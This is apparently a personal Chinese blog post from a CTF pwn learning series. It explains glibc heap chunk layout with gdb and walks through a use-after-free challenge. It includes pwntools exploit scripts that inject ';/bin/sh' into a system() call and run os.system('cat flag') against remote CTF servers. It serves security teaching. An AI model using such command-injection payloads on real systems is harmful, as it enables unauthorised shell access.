menu 牢记自己是菜
RE.从零开始的pwn生活 第四日 基础堆栈的基础+UAF
4132 浏览 | 2020-08-08 | 阅读时间: 约 5 分钟 | 分类: PWn | 标签:
请注意,本文编写于 1357 天前,最后修改于 1357 天前,其中某些信息可能已经过时。

0x1 前言

哇!有点痛苦,之前看鼎哥有堆的笔记,但是现在失联了,想照着鼎哥博客上去学好像也变得不太现实了。所以我只能一点一点的照着wiki慢慢的学,等到github啥时候不犯病了,我再去学习鼎哥的播客吧。除了失联,最近学习效率下降的一大原因可能是小鹿(LOL里面的新英雄 莉莉娅)实在是太好玩了,哈!大杀四方(CCCC)。要好好学习了,不能再浪了。


0x2 堆的认识

首先我们要明白什么是堆!堆不同于栈,堆是动态分配的(由操作系统内核或者堆管理器),只有在程序中需要时才会分配。在 CTF 的 pwn 程序中,栈是程序加载进内存后就会出现,而堆是由 malloc、alloc、realloc 函数分配内存后才会出现。
堆的生长方向是从低地址向高地址生长的,而栈是从高地址向低地址生长的。
对于一个栈我们应该明白几件事情,比如对于一个栈的构造。

  1. pre size 字段。只有在前面一个堆块是空闲的时候才有指,用来指示前一个堆块的大小。前面一个堆块在使用时,他的值始终为 0。这个地方我一直做实验,但是发现这里始终为零。
  2. size 字段。是用来指示当前堆块的大小的(头部加上 user data 的大小)。但是这个字段的最后三位相当于三个 flag ,有另外的作用。这个地方把我整的难受的要是,主要留意最后一位,用来记录前一个 chunk 块是否被分配,被分配的话这个字段的值为 1,所以经常会在已分配的堆块中的 size 字段中发现值比原来大 1 个字节。

    1.NON_MAIN_ARENA 这个堆块是否位于主线程
    2.IS_MAPPED 记录当前 chunk 是否是由 mmap 分配的
    3.PREV_INUSE 记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲chunk之间的合并。

0x3 堆的动态调试

下面我们开始我们的学习实验:
首先我们编译一下下面这段程序:

#include <stdlib.h>
#include <malloc.h>
#include <string.h>
int main(){

        char *p;
        p = malloc(10);
    
    char *H;
    H = malloc(64);
    memcpy(H,"aaaaaaaaaaaaaaaa",16);
    free(H);
        return 0;
}

gcc -text.c

首先我们观察一下heap的生成,在 gdb 中进行调试,在 call malloc 处下一个断点。这里可以使用vmmap 命令,查看内存分布。在call malloc被调用前,我们是没有发现heap段的。

在之后进行一步后,出现了heap段。但是这个段明显要比我们申请的大得多。

稍微计算一下,被分配了138kB,这132KB的堆空间叫做arena,此时因为是主线程分配的,所以这个区域叫做 main arena。这个就是计算机最初始为程序分配的内存,每次从新申请小内存的堆时,都会在这个区域内先进行请求。当内存不足时,就会在次向操作系统申请内存。
之后我们通过动态调试,来观察一下heap的构造。我们继续向下执行,由于我们在后续的代码中又申请了一个64字节的堆。这时我们使用gdb查看一下内存空间。

x/32gx 0x602010-0x10     //显示内存从0x602000开始
x/32gx &main_arena      //显示main_arena地址


仔细看第一个堆,第一个堆是以0x21结尾的,这是我们第一个申请的堆。大小为0x20,最后的一个字节是标志位。
对于第二个堆,最后为0x20fe1,这是我们一开始申请的main_arena大块。大小为0x20fe0,最后一个字节也是标志位。

我们再次申请了堆块,我们发现第二个变成了0x51,而剩余的内存块变小了变为了0x20f91。

0x4 XCTF time_formatter

这是一道最基础的堆溢出的问题,号称UAF(Use After Free),字面意思当一个内存块被释放之后再次被使用。这道题目也是用的这种方法。将一段内存中的数据进行free但是对于这段内存的指针并没有至为NULL,导致整个程序认为我们申请过这段内存让程序可以正常运行。
首先我们观察一下程序,发现在4号打印中,程序是使用的Linux内置的/bin/date实现规整日期操作的。所以其中就存在了一个system()函数用来调用。后续的参数通过格式化字符串提取我们输入,来形成完整的输入。在1号和3号中操作中都有开堆的操作,我们先观察一下。

这个是我们1号操作开的堆申请的堆空间。之后在5号退出操作中,有一个UAF漏洞,他会先清空你的堆输入,然后再问你是否退出,如果退出,再返还指针,如果不退出,指针就会被保留。此时我们就形成了一个UAF漏洞。由于我们程序本身调用了system函数,所以我们可以通过构造的方式,在调用一下其他指令。这是神木意思呢?看这里:

我们虽然在使用Linux的时候,基本上都是一条指令一条指令的输入的,但是我们可以通过“;”来输入两条指令。所以我们只需要将输入构造成/“bin/date -参数;/bin/sh”就可以了,所以现在思路就很明确了,我们需要先进行1,2号步骤,开堆,然后使用5号操作,将堆内清空,但是不删除指针。此时在程序看来,这个堆是已经被返还的堆,所以在你申请3号操作堆的时候,就会将之前返还的堆分配给3号操作。但是1号堆的指针还是存在的,只不过现在他指向了3号堆,这是3号堆里的输入就会被程序误认为是1号堆的。
这里是4号操作判断逻辑,保证两个堆(指针)必须存在

那现在有同学可能就会问了,为什么不直接在申请一号堆的时候完成构造呢?原因在这里:

在1号操作中,有一段过滤,这里是没有“;”的此时如果构造payload的话,会被判定为不符合规则。
exp:

#!python
#!/usr/bin/env python
#coding:utf8

from pwn import *
context.log_level = 'debug'
p=remote('220.249.52.133','42979')
p.sendlineafter(">", str(1))
p.sendline("%a")

p.sendlineafter(">", str(2))
p.sendline("1999")

p.sendlineafter(">", str(5))
p.sendline("")

p.sendlineafter(">", str(3))
p.sendline("';bin/sh'")

p.sendlineafter(">", str(4))


p.interactive()

这里稍微解释一下"';bin/sh'",这是格式化字符串里面的东西,左右两边单引号的目的是完成‘%s’左右两边单引号闭合的。

0x5 一道js题目 monkey

这道题目实在是不好意思在水一篇博客了,这道题目很有意思,虽然感觉没啥水平。这道题目是一道js的题目,应该就是想让我们了解一下js吧。主要就是os.system(),直接上传后就可以拿到flag。

from pwn import *
process_name = './js'
# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('220.249.52.133', 58338)
# elf = ELF(process_name)
 
p.sendlineafter('js> ', 'os.system(\'cat flag\')')
 
p.interactive()

发表评论

email
web

全部评论 (共 2 条评论)

    Ld1ng
    2020-08-08 17:07
    time那题2可以不用填,默认0就行了
      2020-08-08 18:00
      @Ld1ngokk!谢谢鼎哥,收到啦 |´・ω・)ノ